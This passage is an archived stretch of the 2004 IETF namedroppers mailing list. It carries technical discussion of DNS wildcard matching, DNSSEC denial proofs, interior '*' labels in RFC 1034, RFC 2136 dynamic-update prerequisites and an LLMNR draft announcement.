for namedroppers-data@psg.com; Wed, 08 Sep 2004 14:32:41 +0000
Received: from [217.155.92.105] (helo=scuzzy.ben.algroup.co.uk)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C53Us-000HDd-IE
for namedroppers@ops.ietf.org; Wed, 08 Sep 2004 14:32:31 +0000
Received: from [193.133.15.100] (eandbwin.ben.algroup.co.uk [193.133.15.100])
by scuzzy.ben.algroup.co.uk (Postfix) with ESMTP
id 09D071FF86C; Wed, 8 Sep 2004 14:32:29 +0000 (GMT)
Message-ID: <413F17FB.1010907@algroup.co.uk>
Date: Wed, 08 Sep 2004 15:32:27 +0100
From: Ben Laurie
User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502)
X-Accept-Language: en
MIME-Version: 1.0
To: Edward Lewis
Cc: Robert Elz , Kevin Darcy ,
namedroppers@ops.ietf.org
Subject: Re: more wild cards
References: <413920C7.3000809@daimlerchrysler.com> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <413F02ED.70506@algroup.co.uk>
In-Reply-To:
X-Enigmail-Version: 0.84.2.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
Edward Lewis wrote:
> At 14:02 +0100 9/8/04, Ben Laurie wrote:
>
>> Edward Lewis wrote:
>>
>>> At 14:42 +0100 9/6/04, Ben Laurie wrote:
>>>
>>>> What I want to know is: what does DNSSEC have to demonstrate to be
>>>> sure it
>>>> has proved there's no wildcard match? Given the apparent lack of
>>>> clarity,
>>>> can we be sure we know it does that currently?
>>>
>>>
>>> To be clear, this question is getting ahead of the draft, OTOH it is
>>> the
>>> question that spurred the writing of the draft.
>>> If there is no RRSET matching (QNAME, QCLASS, QTYPE), DNSSEC has to
>>> provide
>>> a means for the recipient to validate the received message.
>>> I need to tie the query to the lack of data. If I were able to sign a
>>> tailored message - including the original query plus the empty data
>>> return
>>> (or name error) - then all that is needed is to do that. The recipient
>>> would see the signed denial, get the key to validate it, and we are
>>> more
>>> or less done.
>>>
>>> Signing a tailored response requires on-line signing. (I assume we all
>>> have a good idea of the issues that entails.)
>>> The NSEC approach uses precomputed statements (I assume we all know
>>> that).
>>> Combining the NSEC statements with 4.3.2, we need to supply one NSEC
>>> statement per "failure" to match in 4.3.2. In the case of a name
>>> error,
>>> one error is the failure to find an exact match, a second error is the
>>> failure to find the '*'.
>>
>>
>> That is if there is a "the" '*'. If there are multiple possibilities
>> (e.g. a
>> '*' in the middle somewhere) then you need to provide further proofs.
>
>
> There are no multiple possibilities. That's the point of the closest
> encloser - there is one and only one node present in the DNS data tree
> that is closest to the sought name.
>
> The *only* wild card that is eligible to match the sought name is then
> "*.." This is regardless of the contents (label
> sequence) of the "closest encloser".
>
> Suspending disbelief for the moment, let's say 1034 didn't restrict
> internal '*'s. If there was the name "*. one.*.two.example.com" and I
> was matching "zebra.donkey.one.*.two.example.com"... the closest
> encloser would be one.*.two.example.com (assuming no donkey or
> zebra.donkey). In that case, "zebra.donkey" matches the first
> (leftmost) "*" in the wild card.
Well, this is certainly my understanding, too, but I thought the
discussion was heading towards it possibly not being true!
Cheers,
Ben.
--
http://www.apache-ssl.org/ben.html http://www.thebunker.net/
"There is no limit to what a man can do or how far he can go if he
doesn't mind who gets the credit." - Robert Woodruff
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 11:07:07 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA14948
for ; Wed, 8 Sep 2004 10:19:42 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C53Eb-000FSh-D5
for namedroppers-data@psg.com; Wed, 08 Sep 2004 14:15:41 +0000
Received: from [192.149.252.33] (helo=smtp1.arin.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C53Du-000FM1-Lc
for namedroppers@ops.ietf.org; Wed, 08 Sep 2004 14:14:58 +0000
Received: by smtp1.arin.net (Postfix, from userid 5003)
id 30F00143FA9; Wed, 8 Sep 2004 09:55:26 -0400 (EDT)
Received: from mercury.arin.net (mercury.arin.net [192.149.252.131])
by smtp1.arin.net (Postfix) with ESMTP id 98206143EE3;
Wed, 8 Sep 2004 09:55:25 -0400 (EDT)
Received: from [192.136.136.102] (mercury.arin.net [127.0.0.1])
by mercury.arin.net (Postfix) with ESMTP id 052F4CF3CA;
Wed, 8 Sep 2004 10:14:57 -0400 (EDT)
Mime-Version: 1.0
X-Sender: edlewis@127.0.0.1
Message-Id:
Date: Wed, 8 Sep 2004 10:13:39 -0400
To: namedroppers@ops.ietf.org
From: Edward Lewis
Subject: thesaurus attack
Cc: edlewis@arin.net
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Now that I've got your attention, let's talk wild cards...
In the past week or so -
1) The history of wanting to clean up what's the deal with wild cards
has returned, with some talk about legal names. (This is one of the
issues on the table.)
2) A well known coder supported the idea of making some names
illegal, presumably this makes the coding cleaner as you then know to
have "if"'s in some places.
3) A well known protocol analyst rejected the idea of makeing some
names illegal because imposing restrictions would have two impacts -
possibly retroactively creating bugs in code and restricting the
theory and concept of the protocol.
4) Many unnamed operators have remained silent on the subject because
no one really does this anyway. Oh, 'cept that the MARID WG seems to
have thought they might have wanted to open this box belonging to
Pandora.
As editor of the document, I'd like to see us all get to something we
can live with. From the MARID experience, it's clear that we want to
clarify what's going on here, ergo, we need to do something.
I'll float this idea. It's an idea, I think it can work, but it's up
to the WG.
REMOVE the restriction in 1034: " should not contain other
* labels".
This opens the protocol to places it's not been, so there's no danger
to old code. Further, by relaxing a restriction it does not impinge
another part of the protocol.
As far as "is it doable" - a lot of text has already been floated
showing how the matching is "supposed to" work in the face of
interior "*"s. No one pointed out a problem with it until the words
in 1034 were raised.
Those words in 1034 are the only ones that define "illegal" names in
DNS. Without them, we have no restrictions other than length (label
and name). In addition, dropping the restriction drops one more "if"
statement (whose "then" clause wasn't really defined) while still
leaving us with a "decidable" algorithm.
Comments?
--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis +1-703-227-9854
ARIN Research Engineer
"I can't go to Miami. I'm expecting calls from telemarketers." -
Grandpa Simpson.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 12:26:11 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25408
for ; Wed, 8 Sep 2004 12:26:11 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C55CB-0002d7-5A
for namedroppers-data@psg.com; Wed, 08 Sep 2004 16:21:19 +0000
Received: from [192.149.252.33] (helo=smtp1.arin.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C55BU-0002ZY-H5
for namedroppers@ops.ietf.org; Wed, 08 Sep 2004 16:20:36 +0000
Received: by smtp1.arin.net (Postfix, from userid 5003)
id A9E33143F99; Wed, 8 Sep 2004 12:01:02 -0400 (EDT)
Received: from mercury.arin.net (mercury.arin.net [192.149.252.131])
by smtp1.arin.net (Postfix) with ESMTP id E884C144014;
Wed, 8 Sep 2004 12:00:59 -0400 (EDT)
Received: from [192.136.136.102] (mercury.arin.net [127.0.0.1])
by mercury.arin.net (Postfix) with ESMTP id 24EAFCF3CA;
Wed, 8 Sep 2004 12:20:33 -0400 (EDT)
Mime-Version: 1.0
X-Sender: edlewis@127.0.0.1
Message-Id:
In-Reply-To: <413F17FB.1010907@algroup.co.uk>
References: <413920C7.3000809@daimlerchrysler.com>
<27579.1094135350@munnari.OZ.AU>
<3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU>
<413C692C.1060702@algroup.co.uk>
<413F02ED.70506@algroup.co.uk>
<413F17FB.1010907@algroup.co.uk>
Date: Wed, 8 Sep 2004 12:18:50 -0400
To: Ben Laurie
From: Edward Lewis
Subject: Re: more wild cards
Cc: Edward Lewis , Robert Elz ,
Kevin Darcy , namedroppers@ops.ietf.org
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
At 15:32 +0100 9/8/04, Ben Laurie wrote:
>> Suspending disbelief for the moment, let's say 1034 didn't restrict internal
>>'*'s. If there was the name "*. one.*.two.example.com" and I was matching
>>"zebra.donkey.one.*.two.example.com"... the closest encloser would be
>>one.*.two.example.com (assuming no donkey or zebra.donkey). In that case,
>>"zebra.donkey" matches the first (leftmost) "*" in the wild card.
>
>Well, this is certainly my understanding, too, but I thought the discussion
>was heading towards it possibly not being true!
Just to make sure I understand - given the zig-zag nature of *my*
comment, I'm not clear on which "heading" you are talking about. ;)
Are you favoring allowing internal "*"s in all cases, as is proposed
in the "thesaurus attack" message?
--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis +1-703-227-9854
ARIN Research Engineer
"I can't go to Miami. I'm expecting calls from telemarketers." -
Grandpa Simpson.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 12:26:42 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25432
for ; Wed, 8 Sep 2004 12:26:42 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C55Dt-0002lS-Dy
for namedroppers-data@psg.com; Wed, 08 Sep 2004 16:23:05 +0000
Received: from [192.149.252.33] (helo=smtp1.arin.net)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C55BW-0002Zn-KX
for namedroppers@ops.ietf.org; Wed, 08 Sep 2004 16:20:38 +0000
Received: by smtp1.arin.net (Postfix, from userid 5003)
id BB8A0144014; Wed, 8 Sep 2004 12:01:04 -0400 (EDT)
Received: from mercury.arin.net (mercury.arin.net [192.149.252.131])
by smtp1.arin.net (Postfix) with ESMTP id 5795A143FD9;
Wed, 8 Sep 2004 12:01:04 -0400 (EDT)
Received: from [192.136.136.102] (mercury.arin.net [127.0.0.1])
by mercury.arin.net (Postfix) with ESMTP id E8BCCCF3CA;
Wed, 8 Sep 2004 12:20:33 -0400 (EDT)
Mime-Version: 1.0
X-Sender: edlewis@127.0.0.1
Message-Id:
In-Reply-To:
References:
Date: Wed, 8 Sep 2004 12:20:43 -0400
To: Edward Lewis
From: Edward Lewis
Subject: Re: thesaurus attack
Cc: namedroppers@ops.ietf.org, edlewis@arin.net
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=AWL,BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
At 10:13 -0400 9/8/04, Edward Lewis wrote:
>As far as "is it doable" - a lot of text has already been floated showing how
>the matching is "supposed to" work in the face of interior "*"s. No one
>pointed out a problem with it until the words in 1034 were raised.
In another conversation, it was pointed out that I should mention
where this text is. It's in a retired version of the wcard draft,
but available here:
http://www.potaroo.net/ietf/old-ids/draft-ietf-dnsext-wcard-clarify-00.txt
Look in "Appendix A."
--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Edward Lewis +1-703-227-9854
ARIN Research Engineer
"I can't go to Miami. I'm expecting calls from telemarketers." -
Grandpa Simpson.
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 15:43:34 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA10275
for ; Wed, 8 Sep 2004 15:43:34 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C58Eh-000MYa-Ee
for namedroppers-data@psg.com; Wed, 08 Sep 2004 19:36:07 +0000
Received: from [132.151.1.176] (helo=ietf.org)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C58EW-000MXf-HP
for namedroppers@ops.ietf.org; Wed, 08 Sep 2004 19:35:56 +0000
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA09703;
Wed, 8 Sep 2004 15:35:51 -0400 (EDT)
Message-Id: <200409081935.PAA09703@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: i-d-announce@ietf.org
Cc: namedroppers@ops.ietf.org
From: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-dnsext-mdns-35.txt
Date: Wed, 08 Sep 2004 15:35:51 -0400
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.2 required=5.0 tests=AWL,BAYES_00,
MIME_BOUND_NEXTPART,NO_REAL_NAME autolearn=no version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
--NextPart
A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the DNS Extensions Working Group of the IETF.
Title : Linklocal Multicast Name Resolution (LLMNR)
Author(s) : L. Esibov, et al.
Filename : draft-ietf-dnsext-mdns-35.txt
Pages : 26
Date : 2004-9-8
Today, with the rise of home networking, there are an increasing
number of ad-hoc networks operating without a Domain Name System
(DNS) server. The goal of Link-Local Multicast Name Resolution
(LLMNR) is to enable name resolution in scenarios in which
conventional DNS name resolution is not possible. LLMNR supports all
current and future DNS formats, types and classes, while operating on
a separate port from DNS, and with a distinct resolver cache. Since
LLMNR only operates on the local link, it cannot be considered a
substitute for DNS.
A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-dnsext-mdns-35.txt
To remove yourself from the I-D Announcement list, send a message to
i-d-announce-request@ietf.org with the word unsubscribe in the body of the message.
You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce
to change your subscription settings.
Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
"get draft-ietf-dnsext-mdns-35.txt".
A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt
Internet-Drafts can also be obtained by e-mail.
Send a message to:
mailserv@ietf.org.
In the body type:
"FILE /internet-drafts/draft-ietf-dnsext-mdns-35.txt".
NOTE: The mail server at ietf.org can return the document in
MIME-encoded form by using the "mpack" utility. To use this
feature, insert the command "ENCODING mime" before the "FILE"
command. To decode the response(s), you will need "munpack" or
a MIME-compliant mail reader. Different MIME-compliant mail readers
exhibit different behavior, especially when dealing with
"multipart" MIME messages (i.e. documents which have been split
up into multiple messages), so check your local documentation on
how to manipulate these messages.
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.
--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"
--OtherAccess
Content-Type: Message/External-body;
access-type="mail-server";
server="mailserv@ietf.org"
Content-Type: text/plain
Content-ID: <2004-9-8154256.I-D@ietf.org>
ENCODING mime
FILE /internet-drafts/draft-ietf-dnsext-mdns-35.txt
--OtherAccess
Content-Type: Message/External-body;
name="draft-ietf-dnsext-mdns-35.txt";
site="ftp.ietf.org";
access-type="anon-ftp";
directory="internet-drafts"
Content-Type: text/plain
Content-ID: <2004-9-8154256.I-D@ietf.org>
--OtherAccess--
--NextPart--
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 17:51:00 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA25072
for ; Wed, 8 Sep 2004 17:51:00 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C5AGw-0009bN-Pe
for namedroppers-data@psg.com; Wed, 08 Sep 2004 21:46:34 +0000
Received: from [129.9.82.74] (helo=fxodpr13.extra.daimlerchrysler.com)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C5AGl-0009a5-Pt
for namedroppers@ops.ietf.org; Wed, 08 Sep 2004 21:46:23 +0000
Received: (from uucp@localhost)
by fxodpr13.extra.daimlerchrysler.com (8.12.8/8.9.0) id i88LkM3q004427
for ; Wed, 8 Sep 2004 17:46:22 -0400 (EDT)
Received: from unknown(53.231.71.24) by fxodpr13.extra.daimlerchrysler.com via csmap (V6.0)
id srcAAAWnaqPi; Wed, 8 Sep 04 17:46:22 -0400
Received: from odconpr2-hme0.oddc.chrysler.com ([127.0.0.1])
by odconpr2-hme0.oddc.chrysler.com (Mail-Gear 2.0.0 bld 66) with SMTP id M2004090817462226679
for ; Wed, 08 Sep 2004 17:46:22 -0400
Received: from shmrspr2-hme0.shdc.chrysler.com ([129.9.145.240])
by odconpr2-hme0.oddc.chrysler.com (SMSSMTP 4.0.0.59) with SMTP id M2004090817462203933
for ; Wed, 08 Sep 2004 17:46:22 -0400
Received: from odsecpr1-ce0.oddc.chrysler.com (odsecpr1-ce0.oddc.chrysler.com [53.231.71.99])
by shmrspr2-hme0.shdc.chrysler.com (8.12.11/8.12.11/daimlerchrysler-relay-1.1-kcd) with SMTP id i88LkA2P024840
for ; Wed, 8 Sep 2004 17:46:20 -0400 (EDT)
Received: from wokcdts1.is.chrysler.com ([53.230.102.252])
by odsecpr1-ce0.oddc.chrysler.com (SMSSMTP 4.0.0.59) with SMTP id M2004090817462029673
for ; Wed, 08 Sep 2004 17:46:20 -0400
Received: from daimlerchrysler.com (wokcdts1.is.chrysler.com [53.230.102.252])
by wokcdts1.is.chrysler.com (8.11.7+Sun/8.9.1) with ESMTP id i88LkKj28024
for ; Wed, 8 Sep 2004 17:46:20 -0400 (EDT)
Message-ID: <413F7DAC.4070908@daimlerchrysler.com>
Date: Wed, 08 Sep 2004 17:46:20 -0400
From: Kevin Darcy
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.4) Gecko/20030701
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: namedroppers@ops.ietf.org
Subject: Re: Interpretation of RFC 2136
References: <200409072217.i87MHbQe037524@drugs.dv.isc.org> <31306.1094632224@www58.gmx.net>
In-Reply-To: <31306.1094632224@www58.gmx.net>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit
Tom Schmitt wrote:
>Hi,
>
>in RFC 2136 (Dynamic Updates in the Domain Name System) there are a section
>explaining the behavior how a server react to the updates where is a section
>which refers to Prerequisites:
>
>
>
>> (2) RRset exists (value dependent). A set of RRs with a
>> specified NAME and TYPE exists and has the same members
>> with the same RDATAs as the RRset specified here in this
>> Section.
>>
>>
>>
>
>My understanding of this is, that when I sent
>
> prereq yxrrset foo.baa.com A 10.0.0.2
>
>I'll get NOERROR if there is a record "foo.baa.com A 10.0.0.2" and I will
>get NXRRSET if there is no such a record.
>Now I discovered, there are circumstances in which the Bind does not react
>in this way. If there is such a record but also another record with the same
>name and type, but another IP-Adress, then the Bind answer NXRRSET even
>though such a record exist.
>
>I send a question regarding this to the bind-mailinglist, but the answer
>was, that it is no bug, but a question of interpreting RFC 2136:
>
>
>
>> (2) RRset exists (value dependent). A set of RRs with a
>> specified NAME and TYPE exists and has the same members
>> with the same RDATAs as the RRset specified here in this
>> Section.
>>
>> The prerequisite section talks about RR sets. This is a
>> exact match. Unfortunately there is no way to specify a
>> partial match. For a partial match it would have words to
>> like.
>>
>> (2) RRset exists (value dependent). A set of RRs with a
>> specified NAME and TYPE exists and has the same members
>> with the same RDATAs as the RRset specified here in this
>> Section plus possibly other RRs with the same NAME and TYPE.
>>
>> If you feel our interpretation is wrong this should be discussed
>> on namedroppers.
>>
>>Mark Andrews, ISC
>>
>>
>
>So what is the right interprtation?
>
"Has the same members" seems rather unambiguous to me. The RRset has to
match in its entirety.
>And if the version of Mark Andrews is
>right, is there a way to determinate if a record exist which will word in
>all circumstances?
>
Well, sure there's a way to determine whether a record exists. Look it
up by name and type. Now, if you want something more *atomic* than that,
which you can in a Dynamic Update prerequisite, then you might have to
resort to some sort of local convention for round-robin names, where you
create a separate "adjunct" record, with a unique name, for each record
in the round-robin. For instance, if you have a name foo.example.com
owning A records 10.0.0.1 and 10.0.0.2, you might have adjunct TXT
records of the form 10_0_0_1.a-record.foo.example.com and
10_0_0_2.a-record.foo.example.com. Then you could set a prerequisite of
"prereq 10_0_0_1.a-record.foo.example.com txt" any time you want to
ensure that the 10.0.0.1 A record existed with the name foo.example.com,
*without* needing to even know about the existence of the other A record.
Seems like a lot of work, and superfluous DNS records, for very little
benefit, though...
- Kevin
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 21:18:25 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA09206
for ; Wed, 8 Sep 2004 21:18:24 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C5DSr-0004g5-5s
for namedroppers-data@psg.com; Thu, 09 Sep 2004 01:11:05 +0000
Received: from [192.150.250.67] (helo=fuchsia.home)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C5DSf-0004f4-8C
for namedroppers@ops.ietf.org; Thu, 09 Sep 2004 01:10:54 +0000
Received: from delta.noi.kre.to (delta.wi0.home [192.168.192.32]) by fuchsia.home with ESMTP
id i891AcRN001789; Thu, 9 Sep 2004 08:10:39 +0700 (ICT)
Received: from munnari.OZ.AU (localhost [127.0.0.1])
by delta.noi.kre.to (8.12.9/8.11.6) with ESMTP id i891ALoH020987;
Thu, 9 Sep 2004 08:10:25 +0700 (ICT)
From: Robert Elz
To: "Tom Schmitt"
cc: namedroppers@ops.ietf.org
Subject: Re: Interpretation of RFC 2136
In-Reply-To: <31306.1094632224@www58.gmx.net>
References: <31306.1094632224@www58.gmx.net> <200409072217.i87MHbQe037524@drugs.dv.isc.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
Date: Thu, 09 Sep 2004 08:10:20 +0700
Message-ID: <17753.1094692220@munnari.OZ.AU>
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: quoted-printable
Date: Wed, 8 Sep 2004 10:30:24 +0200 (MEST)
From: "Tom Schmitt"
Message-ID: <31306.1094632224@www58.gmx.net>
| So what is the right interprtation? And if the version of Mark Andrew=
s is
| right, is there a way to determinate if a record exist which will wor=
d in
| all circumstances?
Mark is correct in his interpretation, there's no question about that.
As to "how to ...?" - you need to understand the use of prerequisites.
They're not intended as a way to have the server decide for you whether o=
r
not the update should be made, all they are intended for is to control
race conditions.
That is, the intended use is that you query the DNS, to the extent your
application needs, in order to discover whether or not your update should=
be done. Then you use the prerequisites to make sure the data in the
DNS hasn't been updated between when you queried to discover what is ther=
e,
and when your update is processed. If the condition fails, you start
again at the beginning, discover whether or not the update should be made=
in the current conditions (using whatever queries get you the data for th=
at)
and then construct a prerequisite to check that conditions haven't change=
d.
To do more that that would require a much more complex way of stating the=
conditions, and a much richer condition set. But what is there is just
fine for the way it is intended to be used.
To do your "update if an A record exists" text, do an A query, save the
RRset that is the answer, check if the record you hope for is present.
If not, you simply stop (that's your intent, right?) If the A record is=
there, you send back the RRset that was fetched by the A query, and insis=
t
that it be unaltered for the update to be performed.
If the update is performed, you know the A record of interest must still
have been present, as it was part of the RRset you sent back.
If the update wasn't performed, you know almost nothing, except that some=
thing
has changed - so you query for the A records again, and see if the addres=
s
which matters to you is still there - if it is, you repeat your update
with the new RRset as the "must be there" prerequisite. And continue
till it works, or until sometime the A record isn't there (which would me=
an
you lost an update race).
kre
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 21:19:26 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA09256
for ; Wed, 8 Sep 2004 21:19:26 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C5DX8-00050g-Ez
for namedroppers-data@psg.com; Thu, 09 Sep 2004 01:15:30 +0000
Received: from [192.150.250.67] (helo=fuchsia.home)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C5DWw-0004z1-Qo
for namedroppers@ops.ietf.org; Thu, 09 Sep 2004 01:15:20 +0000
Received: from delta.noi.kre.to (delta.wi0.home [192.168.192.32]) by fuchsia.home with ESMTP
id i891EgRN025322; Thu, 9 Sep 2004 08:14:42 +0700 (ICT)
Received: from munnari.OZ.AU (localhost [127.0.0.1])
by delta.noi.kre.to (8.12.9/8.11.6) with ESMTP id i891EWoH002254;
Thu, 9 Sep 2004 08:14:34 +0700 (ICT)
From: Robert Elz
To: Edward Lewis
cc: namedroppers@ops.ietf.org
Subject: Re: thesaurus attack
In-Reply-To:
References:
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 09 Sep 2004 08:14:32 +0700
Message-ID: <6191.1094692472@munnari.OZ.AU>
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.9 required=5.0 tests=BAYES_00 autolearn=ham
version=2.64
Sender: owner-namedroppers@ops.ietf.org
Precedence: bulk
Date: Wed, 8 Sep 2004 10:13:39 -0400
From: Edward Lewis
Message-ID:
| I'll float this idea. It's an idea, I think it can work, but it's up
| to the WG.
|
| REMOVE the restriction in 1034: " should not contain other
| * labels".
I am all in favour of that, I don't think that restriction ever
made sense.
However...
| This opens the protocol to places it's not been, so there's no danger
| to old code.
No. It doesn't. The extra '*' labels don't magically work as
wildcards, the lookup algorithm in 4.3.2 or 1034 would continue
unchanged.
The text that was in Appendix A of the wildcard draft is certainly
not needed, not that, or anything like it. And explain the way
that wildcard lookups get done (with a liberal sprinkling of the words
from 1034 that explain how a '*' is an RR generator, and a complete
quashing of the notion that there is any kind of name pattern matching
happening - there isn't).
kre
--
to unsubscribe send a message to namedroppers-request@ops.ietf.org with
the word 'unsubscribe' in a single line as the message text body.
archive:
From owner-namedroppers@ops.ietf.org Wed Sep 8 21:44:05 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA10273
for ; Wed, 8 Sep 2004 21:44:05 -0400 (EDT)
Received: from majordom by psg.com with local (Exim 4.41 (FreeBSD))
id 1C5Dvb-0007Vf-EP
for namedroppers-data@psg.com; Thu, 09 Sep 2004 01:40:47 +0000
Received: from [192.150.250.67] (helo=fuchsia.home)
by psg.com with esmtp (Exim 4.41 (FreeBSD))
id 1C5Duz-0007RV-1f
for namedroppers@ops.ietf.org; Thu, 09 Sep 2004 01:40:20 +0000
Received: from delta.noi.kre.to (delta.wi0.home [192.168.192.32]) by fuchsia.home with ESMTP
id i891dxRN022812; Thu, 9 Sep 2004 08:39:59 +0700 (ICT)
Received: from munnari.OZ.AU (localhost [127.0.0.1])
by delta.noi.kre.to (8.12.9/8.11.6) with ESMTP id i891dnoH010445;
Thu, 9 Sep 2004 08:39:51 +0700 (ICT)
From: Robert Elz
To: Kevin Darcy
cc: namedroppers@ops.ietf.org
Subject: Re: more wild cards
In-Reply-To: <413E8A81.7000502@daimlerchrysler.com>
References: <413E8A81.7000502@daimlerchrysler.com> <413920C7.3000809@daimlerchrysler.com> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 09 Sep 2004 08:39:49 +0700
Message-ID: <23614.1094693989@munnari.OZ.AU>
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on psg.com
